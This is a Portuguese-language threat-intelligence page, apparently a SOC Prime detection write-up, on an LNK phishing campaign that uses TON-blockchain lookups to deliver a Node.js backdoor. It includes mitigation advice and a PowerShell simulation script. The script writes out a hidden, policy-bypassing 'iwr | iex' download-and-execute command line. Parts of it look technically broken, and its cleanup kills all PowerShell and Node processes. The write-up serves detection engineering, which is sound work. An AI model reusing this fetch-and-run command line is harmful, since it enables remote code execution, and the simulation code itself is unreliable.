SOC Prime Bias: Alto

14 Jul 2026 15:26 UTC

Ataque em Múltiplos Estágios com LNK Usa Blockchain TON para Entregar um Backdoor em Node.js

Author Photo
SOC Prime Team linkedin icon Seguir
Ataque em Múltiplos Estágios com LNK Usa Blockchain TON para Entregar um Backdoor em Node.js
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Um ataque sofisticado de múltiplos estágios usa arquivos LNK maliciosos entregues por meio de phishing para implantar um backdoor baseado em Node.js. O malware depende da técnica EtherHiding consultando o blockchain TON para obter seus endereços de comando e controle, facilitando atualizações de infraestrutura para os operadores. Ele também usa métodos avançados de evasão, incluindo um interpretador de máquina virtual de bytecode personalizado e scripts PowerShell altamente ofuscados.

Investigation

A equipe de Pesquisa de Ameaças Gerenciadas do LevelBlue descobriu a campanha por meio de alertas de segurança ligados a arquivos ZIP e LNK suspeitos. Analistas desofuscaram comandos PowerShell que usavam lógica bit a bit e aritmética para reconstruir URLs maliciosos. Eles também examinaram um interpretador de VM JavaScript personalizado usado para executar bytecode criptografado e rastrearam a recuperação de comando e controle para transações no blockchain TON.

Mitigação

As organizações devem restringir a execução de arquivos LNK de fontes não confiáveis e monitorar comportamento suspeito do PowerShell, especialmente comandos envolvendo lógica bitwise ou grandes cálculos inteiros. Deve-se utilizar filtragem de e-mail robusta para bloquear links maliciosos, e os defensores devem observar por instalações ou execuções não autorizadas de Node.js. Restringir o acesso a APIs relacionadas ao blockchain para processos incomuns também pode interromper a recuperação de comando e controle.

Resposta

Se esta atividade for detectada, isole os pontos de extremidade afetados e termine imediatamente os processos node.exe ou PowerShell. Realize análise forense de memória para recuperar o bytecode JavaScript decifrado e identificar os domínios de comando e controle específicos que estão sendo consultados. Revise as chaves de execução do registro para persistência não autorizada e verifique as exclusões do Windows Defender criadas pelo malware.

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O Teste de Pré-voo de Telemetria & Baseline deve ter passado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a um diagnóstico incorreto.

  • Narrativa do Ataque & Comandos: O adversário visa estabelecer um backdoor no sistema. Para evitar a detecção, eles usam um arquivo LNK que executa um comando PowerShell. Em vez de uma URL clara, eles usam -band 255 and -shr 8 para manipular grandes valores inteiros que, quando processados, reconstruem uma URL apontando para uma carga maliciosa. Uma vez que a carga é buscada ou preparada, o processo PowerShell gera node.exe para executar o backdoor baseado em JavaScript, misturando-se com a atividade legítima do desenvolvedor na máquina.

  • Script de Teste de Regressão:

    # Simulação da cadeia de execução PowerShell Ofuscado -> Node.js
    # Este script imita os argumentos específicos da linha de comando exigidos pela regra de detecção.
    
    $jsPayload = "console.log('Conexão C2 Estabelecida');"
    
    # Etapa 1: Simular a fase de ofuscação do PowerShell (como apareceria na linha de comando do processo)
    # Em um ataque real, este seria o comando acionado pelo arquivo LNK.
    $simulatedPSCommand = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -band 255 -shr 8 -Command `"`$url = [Convert]::ToString([bigint]123456789); iwr `$url | iex`""
    
    # Etapa 2: Simular a execução subsequente do Node.js como parte da mesma cadeia
    # Usamos Start-Process para simular a relação pai-filho
    Start-Process "powershell.exe" -ArgumentList "-NoProfile -Command `"$simulatedPSCommand; node.exe $jsPayload`""
  • Comandos de Limpeza:

    # Nenhum arquivo persistente foi criado por esta simulação,
    # mas garantimos que quaisquer processos de node gerados sejam terminados.
    Stop-Process -Name "node" -ErrorAction SilentlyContinue
    Stop-Process -Name "powershell" -ErrorAction SilentlyContinue